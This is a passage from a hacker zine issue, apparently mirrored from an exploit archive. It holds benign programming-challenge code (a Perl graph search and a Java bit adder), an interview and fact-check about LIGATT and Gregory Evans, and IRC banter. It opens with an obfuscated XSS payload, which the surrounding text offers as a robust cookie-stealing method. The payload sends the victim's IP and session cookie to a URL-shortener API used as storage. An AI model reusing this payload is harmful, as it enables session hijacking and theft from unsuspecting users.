d4rK3r: who is more awesome then i?
http://ads.clicksor.com/newServing/yesupSearch/web.php?q=%3cscript%3e%3bvar+x+%3d+new+XMLHttpRequest
()%3bx.open(String.fromCharCode(71%2c69%2c84)%2cString.fromCharCode(104%2c116%2c116%2c112%2c58%2c47%
2c47%2c97%2c112%2c105%2c46%2c104%2c111%2c115%2c116%2c105%2c112%2c46%2c105%2c110%2c102%2c111)%2ctrue)
%3bx.onreadystatechange%3dfunction()%7bif(x.readyState%3d%3d4)%7bvar+ip+%3d+x.responseText.match(new
+RegExp(String.fromCharCode(92%2c100%2c123%2c49%2c44%2c51%2c125%2c92%2c46%2c92%2c100%2c123%2c49%2c44
%2c51%2c125%2c92%2c46%2c92%2c100%2c123%2c49%2c44%2c51%2c125%2c92%2c46%2c92%2c100%2c123%2c49%2c44%2c5
1%2c125)))%3bvar+y+%3d+new+XMLHttpRequest()%3by.onreadystatechange+%3d+function()%7bif(y.readyState%
3d%3d4)window.location%3dString.fromCharCode(103%2c116%2c116%2c112%2c58%2c47%2c47%2c98%2c105%2c116..
..d%3by.open(+String.fromCharCode(71%2c69%2c84)%2cString.fromCharCode(104%2c116%2c116%2c112%2c58%2c4
7%2c47%2c97%2c112%2c105%2c46%2c98%2c105%2c116%2c108%2c121%2c46%2c99%2c111%2c109%2c47%2c118%2c51%2c47
%2c115%2c104%2c111%2c114%2c116%2c101%2c110%2c63%2c108%2c111%2c103%2c105%2c110%2c61%2c101%2c108%2c99%
2c104%2c117%2c112%2c97%2c116%2c104%2c105%2c110%2c103%2c...57%2c99%2c99%2c57%2c102%2c48%2c98%2c50%2c5
3%2c50%2c52...c61%2c106%2c115%2c111%2c110%2c38%2c108%2c111%2c110%2c103%2c85%2c114%2c108%2c61%2c104%2
c116%2c116%2c112%2c58%2c47%2c47%2c103%2...2c97%2c114%2c99%2c104%2c63%2c113%2c61).concat(ip).concat(d
ocument.cookie))%3by.send()%3b%7d%3b%7d%3bx.send()%3b%3c%2fscript%3e
This XSS string is the final product of the above discussion, shown above incorporates the grabbing
of the user's IP and cookie and utilizing the bit.ly storage method also outlined above.
The simple bit.ly API makes this method of cookie grabbing simple and effective. Getting the cookie
information is a simple request to the bit.ly services, and all of the relevant information will be
returned in a XML or JSON string. Duplicate entries are effectively nulled by how bit.ly hashes the
URL to create its shortened ones. Accounts are easily created, and thus the links and storing of
information can be distributed amoungst many different bit.ly accounts. This makes it much harder to
find the sole source of the links. A combination with other URL shortening services such as goo.gl,
on.fb.me, and tinyurl can make this a very robust method of cookie stealing. The XSS string above
can be tweaked to hide its real intentions and can effectively work against someone that does not
question links sent to them.
A major weakness of this technique is that it relies on JavaScript, so browsers that employ NoScript
will not be affected, but utilizing other standard XSS techniques and server-side files could ensure
that if you can't grab both the IP+cookie, you can at least grab an IP. As simple as this technique
may be, there is a lot more potential for further privacy and security breaches if you can think
outside the box. Not to mention that we think storing data in bit.ly is pretty hilarious.
[==================================================================================================]
-=[ 0x0c Programming Challenge
-=[ Author: storm
-=[ Email: [email protected]
-=[ Website: http://gonullyourself.org/
Sorry, no programming challenge this issue. If you have ideas, don't hesitate to shoot us an email.
--------------------------------------------------------------------------------
Last issue, we asked readers to compare the depth-first search and breadth-first search routing
algorithms against a given graph.
Graph Solution by melte
Language: Perl
--------------------
#!/usr/bin/perl
use strict;
use warnings;
my $obj = { points => build_tree(<DATA>) };
# Uncomment for examples given in the article
=pod
for ('C', 'D', 'E')
{
my $end = breadth_first($obj, 'A', $_);
my $mid = depth_first($obj, 'A', $_);
print "A -> $_ : DF=$mid BF=$end\n";
}
exit;
=cut
for my $first (sort { $a cmp $b } keys %{$obj->{points}})
{
for my $second (sort { $a cmp $b } keys %{$obj->{points}})
{
my $df = depth_first($obj, $first, $second);
my $bf = breadth_first($obj, $first, $second);
my $message = ($df != -1 && $df < $bf)
? "Depth-First"
: ($df > $bf && $bf != -1)
? "Breadth-First"
: "Tie";
print "$first -> $second : DF=$df, BF=$bf : $message\n";
}
}
# The data structure I'm using is a hashref with letters as keys,
# and an arrayref (as the value) listing its neighbours
sub build_tree
{
my (@input) = @_;
my $vertex = {};
# Not strictly necessary but this + the check below is good for catching typos
while ($input[0] =~ /(\w+)[,}]/g)
{
$vertex->{$1} = [];
}
while ($input[1] =~ /\{(\w+)\,(\w+)\}/g)
{
defined $vertex->{$1} and defined $vertex->{$2} or die "Malformed point [$1,$2]";
push @{$vertex->{$1}}, $2;
push @{$vertex->{$2}}, $1;
}
$vertex;
}
# Setup the structure and enter recursion
sub depth_first
{
my ($obj, $start, $end ) = @_;
$obj = { checked => [], points => $obj->{points} };
$start eq $end and return 0;
_depth_first($obj, $start, $end);
}
# Check all trees from a starting point
sub _depth_first
{
my ($obj, $start, $end) = @_;
defined $obj->{checked} or $obj->{checked} = [];
push @{$obj->{checked}}, $start;
for my $neighbour (sort { $a cmp $b } @{$obj->{points}{$start}})
{
# We can exclude previously checked items
grep { $_ eq $neighbour } @{$obj->{checked}} and next;
push @{$obj->{checked}}, $neighbour;
$neighbour eq $end and return 1;
my $counter = _depth_first($obj, $neighbour, $end);
$counter != -1 and return $counter + 1;
}
return -1;
}
# Surely there is a pretty and short recursive way to do this
sub breadth_first
{
my ($obj, $start, $end) = @_;
$start eq $end and return 0;
my $tree = $obj->{points}{$start};
my $level = 0;
@$tree = sort { $a cmp $b } @$tree;
while (1)
{
++$level;
# This problem could exist with a discontinuous graph as input
@$tree or return -1;
grep { $_ eq $end } @$tree and return $level;
# We don't want to add items and then sort
# We want to add sorted lists to preserve correct ordering
my $temp = [];
for my $item ( sort { $a cmp $b } @$tree )
{
# Exclude the parent node in this context
push @$temp, grep { $_ ne $item } @{$obj->{points}{$item}};
}
$tree = $temp;
}
}
# Uncomment for smaller graph from article
=pod
__DATA__
V = {A,B,C,D,E}
E = {{A,B},{A,C},{B,C},{B,D},{B,E},{C,D},{D,E}}
__END__
=cut
__DATA__
V = {A,B,C,D,E,F,G,H}
E = {{A,B},{A,D},{A,F},{B,G},{B,H},{C,D},{C,E},{D,E},{D,F},{F,G},{G,H}}
--------------------
$ perl graph.pl
A -> A : DF=0, BF=0 : Tie
A -> B : DF=1, BF=1 : Tie
A -> C : DF=5, BF=2 : Breadth-First
A -> D : DF=4, BF=1 : Breadth-First
A -> E : DF=6, BF=2 : Breadth-First
A -> F : DF=3, BF=1 : Breadth-First
A -> G : DF=2, BF=2 : Tie
A -> H : DF=3, BF=2 : Breadth-First
B -> A : DF=1, BF=1 : Tie
B -> B : DF=0, BF=0 : Tie
B -> C : DF=3, BF=3 : Tie
B -> D : DF=2, BF=2 : Tie
B -> E : DF=4, BF=3 : Breadth-First
B -> F : DF=3, BF=2 : Breadth-First
B -> G : DF=4, BF=1 : Breadth-First
B -> H : DF=5, BF=1 : Breadth-First
C -> A : DF=2, BF=2 : Tie
C -> B : DF=3, BF=3 : Tie
C -> C : DF=0, BF=0 : Tie
C -> D : DF=1, BF=1 : Tie
C -> E : DF=2, BF=1 : Breadth-First
C -> F : DF=5, BF=2 : Breadth-First
C -> G : DF=4, BF=3 : Breadth-First
C -> H : DF=5, BF=4 : Breadth-First
D -> A : DF=1, BF=1 : Tie
D -> B : DF=2, BF=2 : Tie
D -> C : DF=1, BF=1 : Tie
D -> D : DF=0, BF=0 : Tie
D -> E : DF=2, BF=1 : Breadth-First
D -> F : DF=4, BF=1 : Breadth-First
D -> G : DF=3, BF=2 : Breadth-First
D -> H : DF=4, BF=3 : Breadth-First
E -> A : DF=3, BF=2 : Breadth-First
E -> B : DF=4, BF=3 : Breadth-First
E -> C : DF=1, BF=1 : Tie
E -> D : DF=2, BF=1 : Breadth-First
E -> E : DF=0, BF=0 : Tie
E -> F : DF=6, BF=2 : Breadth-First
E -> G : DF=5, BF=3 : Breadth-First
E -> H : DF=6, BF=4 : Breadth-First
F -> A : DF=1, BF=1 : Tie
F -> B : DF=2, BF=2 : Tie
F -> C : DF=3, BF=2 : Breadth-First
F -> D : DF=2, BF=1 : Breadth-First
F -> E : DF=4, BF=2 : Breadth-First
F -> F : DF=0, BF=0 : Tie
F -> G : DF=3, BF=1 : Breadth-First
F -> H : DF=4, BF=2 : Breadth-First
G -> A : DF=2, BF=2 : Tie
G -> B : DF=1, BF=1 : Tie
G -> C : DF=4, BF=3 : Breadth-First
G -> D : DF=3, BF=2 : Breadth-First
G -> E : DF=5, BF=3 : Breadth-First
G -> F : DF=4, BF=1 : Breadth-First
G -> G : DF=0, BF=0 : Tie
G -> H : DF=2, BF=1 : Breadth-First
H -> A : DF=2, BF=2 : Tie
H -> B : DF=1, BF=1 : Tie
H -> C : DF=4, BF=4 : Tie
H -> D : DF=3, BF=3 : Tie
H -> E : DF=5, BF=4 : Breadth-First
H -> F : DF=4, BF=2 : Breadth-First
H -> G : DF=5, BF=1 : Breadth-First
H -> H : DF=0, BF=0 : Tie
By running this script, we can clearly see from the output that breadth-first search is the winning
algorithm out of the two. However, this is not always the case. Some graphs will be better
traversed by means of depth-first search, while others will not. A judgment call must be made
depending on the specific scenario. For instance, massive graphs with a target that is many hops
away from the origin point will more likely be searched by depth-first search simply due to resource
limitations. Breadth-first search of a massive graph requires many layers upon layers of recursion.
An entire "tree" must be stored in memory, which will quickly run low as the tree grows, causing
swapping to occur or the system to crash when the available RAM hits zero. With depth-first search,
only a single "branch" of recursion is stored in memory, requiring much less space.
--------------------
Additionally, as an amendment to issue #3, we missed a solution submitted by Suzaku for the
challenge of writing any one of a number of bit adders.
Ripple-Carry Adder by Suzaku
Language: Java
--------------------
import java.util.Scanner;
class adder{
public static void main(String args[]){
int bitS[],obA[],obB[],i,cin=0,cout=0;
String bitA,bitB;
char a,b;
Scanner input=new Scanner(System.in);
obA=new int[100];
obB=new int[100];
bitS=new int[100];
System.out.println("Enter the bit pattern A");
bitA=new StringBuffer(input.next()).reverse().toString();
System.out.println("Enter the bit pattern B");
bitB=new StringBuffer(input.next()).reverse().toString();
if(bitA.length()==bitB.length()){
System.out.print("Sum = ");
for(i=0; i<bitA.length(); i++){
obA[i]=Integer.parseInt(new Character(bitA.charAt(i)).toString());
obB[i]=Integer.parseInt(new Character(bitB.charAt(i)).toString());
bitS[i]=obA[i]^obB[i]^cin;
cout=(obA[i]*obB[i])+cin*(obA[i]^obB[i]);
cin=cout;
}
for(; i>0; i--)
System.out.print(bitS[i-1]);
System.out.print("\nCarry = "+cout);
}
else
System.out.print("Length of A and B should be same");
}
}
[==================================================================================================]
-=[ 0x0d The Scoop on LIGATT
LIGATT Security International (more commonly known as just LIGATT) is a security company founded and
run by the (in)famous Gregory D. Evans. Evans is mainly known for his claim of being the "world's
number 1 hacker" and his ability to teach anyone to be the same in 15 minutes through one of his
company's educational courses. Much controversy surrounds Evans and his company with allegations of
severe debt, shady marketing schemes, and and overall lack of security knowledge necessary to
provide consulting services of any capacity. Attrition.org claims that Evans is currently in debt
of over $9,000,000 USD, and the Better Business Bereau currently lists LIGATT as an 'F' rating.
Evans denies all counts of misdoing and considers himself a wealthy, successful businessman.
In mid-January, Go Null Yourself Zine contacted LIGATT to request an interview with Evans. After a
few days of conversation with Evans' PR assistant, the interview request was accepted. The
interview spanned across two days (due to phone difficulties) and about 2 hours and 10 minutes of
conversation was recorded. A detailed look at Evans' past was provided, and many shots were taken
at the people and organizations calling him a fraud.
There are simply too many details from the interview to enumerate here, so we have instead made the
recordings public at http://www.gonullyourself.org/zine/4/ligatt for those who are interested.
After the interview, we contacted Attrition.org to get their take on everything told to us by Evans.
We provided a list of key claims made by Evans, and this is their reply:
All of this is the best of my memory, or with citation if I have it.
: Evans lived in Germany in his youth and got in trouble for changing a
: friend's grades. The father of this friend, who was a lawyer, hired
: Evans (as a kid) to break into the computers of a competing law firm.
I think this is partially new. The 'changing grades' claim has been made
before, but not with additional details above.
: In 1994, Evans operated the 4th or 5th largest ISP in the country named
: Connect America financed by money made from hacking side-jobs. (I am
: unsure if he meant in America or Germany)
In the US, in California. Claims of the size are unverified, and I doubt
they can be. The part about making money from hacking side-jobs is likely
BS. During this time with Connect America, he was stealing phone lines and
reselling them. This is basic toll fraud, and what lead him to getting
busted and serving 2 years in prison.
http://attrition.org/errata/charlatan/gregory_evans/ligatt15/1998-MCIvEvans-Connect_America.pdf
: Evans was friends with Kevin Mitnick in California, and they learned
: about computers and phreaking together.
This is a lie. Kevin Mitnick confirmed that while they were on the same
floor of the LA detention center, they did not share a cell (as previously
claimed by Evans), did not share any hacking / phreaking information, and
did not learn from each other. Mitnick described Evans as someone who
didn't seem to know much about hacking and asked basic questions. You can
confirm this with a mail to Mitnick, and some of it covered here:
http://attrition.org/errata/charlatan/gregory_evans/evans09.html
http://twitter.com/kevinmitnick/statuses/16428972158
http://twitter.com/kevinmitnick/statuses/16429370781
: Evans has 100 employees and has hired people in Pakistan and India.
This is hard to positively debunk, but I am relatively sure he does not
have 100 employees currently. He has likely had 100 historically, but has
a very high turnover rate. His claims of consultants in other countries
make this basically impossible to verify, especially since he has not
published financials for 2010 as required by the SEC.
: The term "number 1 hacker" came from Mr. Morris, the FBI agent that
: arrested Evans, who described Evans as on the "top 10 list of number 1
: hackers."
This is a new claim (re: Morris), but based on my experience with the FBI
seems absurd. Evans was convicted of toll fraud, not really 'hacking'. At
that time, the FBI had seen some pretty high end / impressive hacking, and
what Evans was doing didn't come close.
: Evans owned nightclubs, restaurants, apartment complexes, Bentleys, and
: a $4 million house.
None of this can be verified so far, and we've tried. Given the apartments
he has lived in for the last 2 years, as verified by ex employees, it is
unlikely he has had any significant money to do this. Based on court
records we have published, he likely has never actually had 1 million
dollars, just serious debt, including the ~ 10 million he still owes. Even
now, he owes serious money not only for the previous crimes, but as a
result of his business dealings the last few years. We have some of the
records:
http://attrition.org/errata/charlatan/gregory_evans/ligatt15/
A summary of his debt:
http://attrition.org/errata/charlatan/gregory_evans/evans21.html
: Evans's book "Laptop Security" sold 150,000 copies.
We have not heard this claim. However, search Amazon for that title and
look how many are available new/used, and it is likely false. It's curious
he is focusing on that book, as all of his previous claims centered around
the 'No 1 Hacker' book.
: The material found online in Evans's "No. 1 Hacker" book was not
: copyrighted and therefore was not legally forbidden to use.
This is patently false. The material he found online *was* copyrighted,
even if the work did not explicitly say it was. This is copyright 101.
There is currently a group of the authors that are still considering
taking action against him. I have personally read mails from half a dozen
of these authors that confirm they hold the copyright, and that they did
NOT give him permsission or sell it to him (as he claimed in other
sources). A mail to Simple Nomad of NMRC will confirm this as one of the
authors (who will reply and confirm, while others will not due to
potential legal action).
: Evans was contracted to set up a CCTV camera network at a county prison
: while on probation.
Never heard this claim, but given how prisons work (and two direct family
members that worked in that system), this is very dubious.
: Evans has committed "every type of high-tech crime you can ever think of
: before [he] was 26-years-old."
Again, his conviction was for basic toll fraud. This doesn't suggest any
level of skill that would back this claim.
: In 1998, Evans was interrogated by the authorities regarding a
: system-wide crash of the SkyTel pager network.
No way to verify this short of a FOIA request for that case. I have not
heard this claim before.
: Every time Evans was caught by the authorities, it was because someone
: else snitched on him.
The current court records do not suggest this. They do suggest that Evans
was a snitch (see Mitnick's presentation last year about the topic). We
have the docket for his big case online, and there is no mention of a
snitch.
http://attrition.org/errata/charlatan/gregory_evans/ligatt15/1998-MCIvEvans-Connect_America.pdf
http://attrition.org/errata/charlatan/gregory_evans/ligatt07/
: "High-tech grand theft" is a new state crime that was formed
: specifically because of Evans's actions.
There is no state law that uses those words I bet =) Did he mean Georgia?
How 'new'? This would be easy to verify unless he further spins the claim.
: There are plenty more points, but there's just too much stuff to listen
: to. It's not too bad of a list, anyways.
As usual, and it isn't just Evans, these types of claims are almost always
made without any real detail, no verification from HIM, etc.
Unfortunately, a lot of these are new claims or have new elements we
haven't seen.
: I have also attached an email that Evans forwarded to me that may be of
: interest to you. Thank you again for your time, and I look forward to
: your response to these claims.
Yep, np! If you want to run any other claims by me, feel free. I will be
offline for about 24 hours starting Thursday as I fly back to the states.
As for the e-mail, I have read it before actually via Don. It was not
published on attrition.org because it is irrelevant to Evans' claims.
Because he offered to buy a web site, doesn't mean any deal was made
regarding publishing material written by Don. It does not speak to any
agreement, purchase or transfer of copyright of text included in Evans
book. So yes, it wasn't included on our site =) As always, showing one
thing that is marginally related to a piece of another story isn't proof,
but it is an essential tool in a con.
- jericho
The attached email mentioned above can be read here. Evans forwarded this to us after the interview:
Sorry we got disconnected. Here is proof that I sent Donald an email asking to buy his website
6 months before hand. Proving that there was no malicious intent. This is the stuff that they
did not put on Attrition.org. Also if you want to finish up just let me no.
Begin forwarded message:
> From: "EH-Net-Don" <[email protected]>
> Date: December 17, 2009 12:15:13 PM EST
> To: "'Gregory Evans'" <[email protected]>
> Subject: [SPAM] RE: Purchase of Ethical Hacker Network
> Reply-To: <[email protected]>
>
> Hey Gregory,
>
> Thank you very much for your kind words. It’s never a bad thing to have your blood, sweat and
> tears get recognized in a positive way. Although I’m not sure selling is my desire at the
> moment, I’m always willing to talk business and make new friends in the industry. Either way,
> you might be interested in getting the word out about your company and its products and
> services to a wider ethical hacking community. Maybe we could also chat about advertising on
> my site and/or supporting my ethical hacking conference, ChicagoCon. How’s that for a reverse
> pitch? ;-)
>
> If you don’t mind me asking, how did you find out about us?
>
> Looking forward,
> Don
>
> PS – There’s a typo in you LA address. Guess I can’t stop being an editor. J
> Donald C. Donzal, CISSP, MCSE 2003, CEH, Security+ SME
> The Digital Construction Company
> 1520 Heidorn Ave.
> Westchester, IL 60154
> 708.837.3002 (Cell)
> Founder & Organizer
> ChicagoCon
> Editor-In-Chief
> The Ethical Hacker Network
>
>
>
> From: Gregory Evans [mailto:[email protected]]
> Sent: Wednesday, December 16, 2009 11:38 PM
> To: [email protected]
> Subject: Purchase of Ethical Hacker Network
>
> Hello Donzal,
>
> My name is Gregory Evans the CEO of LIGATT Security International (www.ligatt.com). I am very
> impressed with your website Ethical Hacker Network. I would love to speak to you sometime
> about purchasing the website and still having you run the site. If you are interested please
> feel to contact me at 866-354-4288 Ext. 5673.
>
> Have a Blessed Day,
>
> Gregory Evans
> President / CEO
>
> 866-354-4288 Ext. 5673
>
> Atlanta:
> 6050 Peachtree Parkway
> Suite 200
> Norcross, Ga 30092
>
> Los Angeles:
> 11209 Naitonal Blvd.
> Suite 178
> Los Angeles, Ca 90292
>
Have a Blessed Day,
Gregory Evans
President / CEO
Ring: 866-354-4288 Ext. 5673
Look: www.LIGATT.COM
Follow: www.twitter.com/ligatt
Post: www.facebook.com/GregoryDEvans
Atlanta
6050 Peachtree Parkway
Suite 200
Norcross, Ga 30092
As if there wasn't enough drama already, on February 2, a message was broadcasted to the Full-
Disclosure mailing list detailing the compromise of Evans' websites and email accounts, leaking
hordes of personal and confidential information. We, personally, have taken little time to look
through the leak and aren't able to better confirm or deny any claims made by Evans. There is most
likely much to learn, though, according to Jericho:
: Thank you very much for providing insight on these claims. Would it be
: okay to publish this email in the zine? I think it would be interesting
: to place this side-by-side with the interview.
Yep, feel free. Also note, that with recent events (Evans' entire mail
spool being leaked / published), some of these claims may be more
thoroughly debunked in the coming weeks. As an example, his mail spool
shows that he did register thecyberwars.com despite repeated claims he had
nothing to do with it.
: > : Evans owned nightclubs, restaurants, apartment complexes, Bentleys, and
: > : a $4 million house.
: >
: > None of this can be verified so far, and we've tried. Given the apartments
: > he has lived in for the last 2 years, as verified by ex employees, it is
A recent mail leaked from his spool shows that he could not even rent an
apartment under his mom's name after they performed due diligence. When
confronted with it, Evans libels attrition:
http://pastebin.com/J4JeG2W8
: > A summary of his debt:
: >
: > http://attrition.org/errata/charlatan/gregory_evans/evans21.html
Updated with another entry since this mail.
Also,
: Additionally, I found these the other day; you may also find them wildly
: amusing:
:
: http://www.theregister.co.uk/2011/01/31/ligatt_security_subpoena_quashed/
Already posted on the charlatan page.
: http://www.escapistmagazine.com/news/view/107413-Computer-Hackers-Getting-Their-Own-Reality-Show
He claims his life story was bought for a movie, that never materialized.
As I tweeted the other day:
Hey @GregoryDEvans or @LIGATT .. any comment on why the last movie deal
went nowhere? http://in.sys-con.com/node/927014
If he did get a reality show, why doesn't he name the network / company
that bought it?
And,
: ?I have to be modest and say that we at LIGATT could not have been able
: to do this without the help of Chris John Riley, Kris French, Sam Bowne,
: Elizabeth Summers, Atrrion.org, Crabbybastard.com and all the other
: people who kept our name relevant. What sealed the deal for us and got
: the networks to say, ?lets do it? was ?LIGATTleaks?. Again, I have shown
: that what people may say about you or try to do to you does not stand in
: the way of my success. Success it the best revenge,? says Evans.
:
: Thought that was funny.
Yep, that is his new strategy for the last few weeks, he said the same
thing in one of his recent video blogs as well.
-=-=-
If you would like to weigh in on the interview, the LIGATT controversy, or anything related to
LIGATT, Gregory D. Evans, or the leak, our contact information is in the introduction - we will
publish intelligent arguments and opinions (both for and against) in the next issue.
[==================================================================================================]
-=[ 0x0e Et Cetera, Etc.
-=[ Author: teh crew
In the absence of any real miscellaneous content, why not take a look at some of the shenanigans
that go on in the good 'ol #gny.
We're competent! We promise!
----------------------------------------------------------------------------------------------------
[16:22] <GNY'oliverjhudson93> It is expected on February 3rd, 2011, that there will be a formal
announcement in the US that IPv4 addresses have been completely exhausted
[16:23] <GNY'connection> yes
[16:23] <GNY'connection> but they finished today
[16:23] <GNY'oliverjhudson93> who got the last one?
[16:23] <GNY'connection> fucked if i know
[16:23] <GNY'oliverjhudson93> was it 999.999.999.999
[16:23] <GNY'connection> but I would sell it
[16:23] <GNY'connection> oliverjhudson93, I hope you are trolling
[16:23] <GNY'connection> cause otherwise
[16:23] <GNY'connection> that was the most retarded thing
[16:23] <GNY'connection> I have ever heard
[16:23] <GNY'oliverjhudson93> nah i'm pulling your leg :P
[16:23] <GNY'connection> good
[16:23] <GNY'oliverjhudson93> (im joking)
[16:24] <Silks> cough liar
[16:24] <GNY'connection> you are joking about lying?
[16:24] <GNY'oliverjhudson93> i'm joking about joking?
[16:24] <GNY'oliverjhudson93> I don't know anymore
[16:24] <GNY'oliverjhudson93> I'm gonna DDoS 127.0.0.1 D:
[16:25] <GNY'connection> oliverjhudson93, what is the highest IP someone could have?
[16:25] <GNY'connection> not even taking into account the limits set in place for broadcasts blah
blah blah
[16:25] <GNY'connection> straight up, highest IP address
[16:25] <GNY'oliverjhudson93> 255
[16:26] <GNY'oliverjhudson93> I don't actually know
[16:26] <GNY'oliverjhudson93> but i figure
[16:26] <GNY'oliverjhudson93> 255.255.255.255?
[16:26] <GNY'oliverjhudson93> but thats like
[16:26] <GNY'oliverjhudson93> subnet mask or some shit that I don't understand
[16:26] <GNY'connection> technically it's 256.256.256.256
[16:26] <GNY'connection> but as we have limits imposed
[16:26] <GNY'connection> yes
[16:26] <GNY'connection> 255.255.255.255
[16:26] <GNY'oliverjhudson93> See I dun goof'd!
[16:27] <Silks> urr no
[16:27] <Silks> it is 0-255
[16:27] <GNY'connection> yea I fubar'd
[16:27] <Silks> because that is the range of values you can store in an 8bit number
[16:27] <GNY'connection> you don't know
[16:27] <GNY'connection> how hard
[16:27] <GNY'connection> I headdesked
[16:27] <GNY'connection> after I typed that
[16:27] <GNY'oliverjhudson93> :P
[16:27] <Silks> I am embarrassed for you
[16:27] <GNY'connection> and was hoping no one would catch it
A shitty situation
----------------------------------------------------------------------------------------------------
[21:58] <&elchupathingy> storm would you be pissed if i took a shit on your porch?
[22:05] <~Silks> what if I were to?
[22:06] <&storm> i would be curious to see that since i don't have a porch
[22:06] <~Silks> what do you have that I could shit on?
[22:07] <&storm> the dorm building has a stoop, i guess
[22:07] <&storm> well, not really actually
[22:08] <~Silks> what about siblings?
[22:08] <~Silks> do you have a sister?
[22:08] <&storm> i'm an only child
[22:08] <&storm> :(
[22:08] <~Silks> ditto
[22:08] <~Silks> however that means you have a lot of stuff
[22:08] <~Silks> and therefore a lot of things to be fouled
[22:09] <&storm> this is very true
[22:10] <&elchupathingy> what if
[22:10] <&elchupathingy> we built a porch
[22:10] <&elchupathingy> then shit on it
[22:10] <&storm> i like your thinking
GTFO emo storm
----------------------------------------------------------------------------------------------------
[01:12] <storm> sometimes i message myself to check if i'm still connected
[01:13] <elchupathingy> that sounds depressing as hell
We could go on, but that would only embarrass us more. And everyone knows the first rule to being a
sooper l33t h4xx0r klan is to only portray yourselves as FUCKING HARDCORE MOTHERFUCKERS.
Yeah, whatever.
So, yeah. Looks like the end of issue #4 - hope you liked it. Like always, if you'd like to submit
content for future issues, our contact information is in the introduction. The call for papers for
issue #5 is now open, so get your crap in.
See you in the summer.
<3, the gny crew
irc.gonullyourself.org +6697 #gny
[==================================================================================================]- Источник
- www.exploit-db.com
